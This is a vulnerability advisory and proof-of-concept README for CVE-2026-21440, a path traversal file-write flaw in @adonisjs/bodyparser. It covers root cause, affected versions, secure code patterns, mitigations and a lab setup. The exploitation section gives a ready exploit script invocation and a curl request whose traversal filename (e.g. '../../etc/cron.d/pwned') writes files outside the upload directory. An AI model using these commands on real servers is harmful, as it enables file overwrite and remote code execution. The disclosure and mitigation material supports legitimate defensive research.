Share
## https://sploitus.com/exploit?id=42057028-564B-5AE3-9DDC-ADFADFB29C46
# cve-2026-21440
> path traversal to arbitrary file write in @adonisjs/bodyparser
---
## overview
a critical path traversal vulnerability exists in the `@adonisjs/bodyparser` package that allows remote attackers to write arbitrary files outside the intended upload directory. when the `multipartfile.move()` function is called without explicitly providing a sanitized filename, the parser defaults to using the client-supplied filename without proper sanitization.
because the implementation uses `path.join()` and `options.overwrite` defaults to `true`, an attacker can craft a malicious filename containing directory traversal sequences (e.g., `../../etc/cron.d/malicious`) to write files anywhere on the filesystem, potentially leading to remote code execution.
---
## vulnerability analysis
| attribute | value |
|-----------|-------|
| **cve id** | cve-2026-21440 |
| **cwe classification** | cwe-22: improper limitation of a pathname to a restricted directory ('path traversal') |
| **cvss v3.1 score** | 9.8 (critical) |
| **attack vector** | network |
| **attack complexity** | low |
| **privileges required** | none |
| **user interaction** | none |
### root cause
the vulnerability exists in the `multipartfile.move(location, options?)` method. when developers call this method without providing `options.name`, the code defaults to using `this.clientName` โ the original filename sent by the client โ without sanitization.
```typescript
// vulnerable code path in @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise {
const fileName = options?.name || this.clientName // โ unsanitized client input
const filePath = path.join(location, fileName) // โ path.join allows traversal
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
```
### attack flow
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ attacker โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ multipart/form-data
โ filename="../../etc/cron.d/pwned"
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ vulnerable adonisjs app โ
โ โ
โ request.file('upload') โ
โ โ โ
โ โผ โ
โ file.move(app.tmpPath()) โ no sanitized name provided โ
โ โ โ
โ โผ โ
โ path.join('/tmp/uploads', '../../etc/cron.d/pwned') โ
โ โ โ
โ โผ โ
โ resolves to: /etc/cron.d/pwned โ
โ โ โ
โ โผ โ
โ file written outside upload directory โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
arbitrary file write
โ rce via cron
โ config overwrite
โ ssh key injection
```
---
## affected versions
| package | vulnerable versions | patched version |
|---------|---------------------|-----------------|
| `@adonisjs/bodyparser` | โค 10.1.1 | 10.1.2 |
| `@adonisjs/bodyparser` | 11.0.0-next.1 to 11.0.0-next.5 | 11.0.0-next.6 |
---
## exploitation
### prerequisites
- target application uses vulnerable version of `@adonisjs/bodyparser`
- file upload endpoint calls `file.move()` without explicit `name` option
- web server has write permissions to target directory
### proof of concept
```bash
# navigate to exploit directory
cd Exploit-PoC
# install dependencies
pip install -r requirements.txt
# run exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
```
### manual exploitation
```bash
curl -X POST http://target:3333/upload \
-F "file=@payload.txt;filename=../../tmp/pwned.txt"
```
---
## detection & mitigation
### vulnerable code pattern
```typescript
// โ vulnerable - uses client-supplied filename
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName used as filename
}
return response.ok({ message: 'uploaded' })
}
```
### secure code pattern
```typescript
// โ
secure - generates sanitized filename
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// generate unique filename with original extension
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // prevent overwrites
})
}
return response.ok({ message: 'uploaded' })
}
```
### additional mitigations
1. **upgrade immediately** โ update `@adonisjs/bodyparser` to patched version
2. **input validation** โ validate file extensions against allowlist
3. **filename sanitization** โ strip path separators and use generated names
4. **filesystem isolation** โ use containerization to limit blast radius
5. **principle of least privilege** โ run web server with minimal permissions
---
## lab environment
### quick start
```bash
# clone repository
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# start vulnerable environment
docker-compose up --build
# in another terminal, run exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# verify file was written outside uploads directory
docker-compose exec app cat /app/test.txt
```
---
## timeline
| date | event |
|------|-------|
| 2025-11-15 | vulnerability discovered |
| 2025-11-18 | vendor notified via security@adonisjs.com |
| 2025-11-25 | vendor confirmed vulnerability |
| 2025-12-20 | patch released in 10.1.2 and 11.0.0-next.6 |
| 2026-01-07 | cve-2026-21440 assigned |
| 2026-01-07 | public disclosure |
---
## references
- [nvd - cve-2026-21440](https://nvd.nist.gov/vuln/detail/CVE-2026-21440)
- [cwe-22: path traversal](https://cwe.mitre.org/data/definitions/22.html)
- [adonisjs bodyparser documentation](https://docs.adonisjs.com/guides/file-uploads)
- [owasp path traversal](https://owasp.org/www-community/attacks/Path_Traversal)
---
## disclaimer
this repository is provided for **educational and authorized security research purposes only**. the proof-of-concept code is intended to help security professionals understand and test for this vulnerability in environments they are authorized to assess.
**unauthorized access to computer systems is illegal.** the authors assume no liability for misuse of this information. always obtain proper authorization before testing for vulnerabilities.
---
researched with โ by k0nnect